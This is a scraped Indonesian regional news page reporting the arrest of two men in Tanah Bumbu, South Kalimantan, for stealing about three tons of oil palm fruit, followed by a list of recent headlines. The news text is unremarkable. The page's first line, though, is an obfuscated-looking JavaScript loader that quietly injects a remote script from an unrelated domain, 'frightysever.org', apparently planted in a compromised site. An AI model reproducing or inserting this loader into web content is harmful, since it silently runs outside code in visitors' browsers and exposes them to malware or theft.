(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal

Siap Dipanen, Dua Warga Teluk Kepayang Ditangkap Curi Tandan Sawit Segar


KANALKALIMANTAN.COM, BATULICIN – Dua orang laki-laki warga Kecamatan Teluk Kepayang, Kabupaten Tanah Bumbu, diamankan Unit Reskrim Polsek Kusan Hulu atas dugaan tndak pidana pencurian.

Kapolres Tanah Bumbu AKBP Tri Hambodo melalui Kasi Humas AKP Made Rasa mengatakan, kedua pelaku yang ditangkap adalah MJ (30) dan P (28), keduanya diduga mencuri buah kelapa sawit milik salah seorang warga.

Kasus ini berdasar Laporan Polisi Nomor : LP / B / 08 / X / 2022 / SPKT. POLSEK KUSAN HULU / POLRES TANAH BUMBU / POLDA KALSEL, tanggal 12 Oktober 2022.

Baca juga: Cabang Hifzil Qur’an Golongan 10 dan 20 Juz MTQ Nasional XXIX Diikuti 130 Peserta

Pada hari Rabu tanggal 12 Okt 2022 sekitar pukul 06.30 Wita, telah terjadi Tindak Pidana Pencurian buah kelapa sawit di Desa Guntung RT 02 Kecamatan, Teluk kepayang, Kabupaten Tanah Bumbu, Provinsi Kalimantan Selatan, tepatnya di kebun kelapa sawit milik pelapor.

Pada saat itu, pelapor mendapat kabar dari seorang saksi yang mengatakan bahwa buah kelapa sawit milik pelapor telah dicuri.

Memastikan hal tersebut, pelapor kemudiam bergegas ke kebun dan setelah sampai kebun ia langsung melakukan pengecekan.

Buah kelapa sawit yang rencananya akan di panen keesokan harinya sudah tidak ada di pohon dengan kata lain dicuri oleh orang.

Baca juga: Sebelum Kembali ke Jakarta, Wapres Ma’ruf Amin Serahkan Bantuan di Panti Budi Luhur

“Atas kejadian tersebut pelapor mengalami kerugian buah kelapa sawit estimasi sekali panen buah kurang lebih 3 ton dengan nilai harga Rp 7 juta dan melaporkan kejadian tersebut ke Polsek Kusan Hulu untuk proses lebih lanjut,” lanjutnya.

Melalui penangkapan kedua pelaku, polisi mengamankan 1 unit mobil pikap warna putih nopol DA 8560 ZP, 2 buah tojok terbuat dari besi, dan buah kelapa sawit sebnyk 94 janjang dengan berat timbang sebanyak 1.410 kg.

Sementara itu, seorang pelaku lainnya Al saat ini masih masuk dalam Daftar Pencarian Orang (DPO) dan masih terus didalami oleh polisi. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : bie


Risa

Recent Posts

Pascabanjir TurunTangan Banjarmasin – UPZ Bakti Bersama Salurkan Bantuan ke Masjid

KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More

5 menit ago

Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More

4 jam ago

Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”

KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More

7 jam ago

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

22 jam ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

23 jam ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

24 jam ago

This website uses cookies.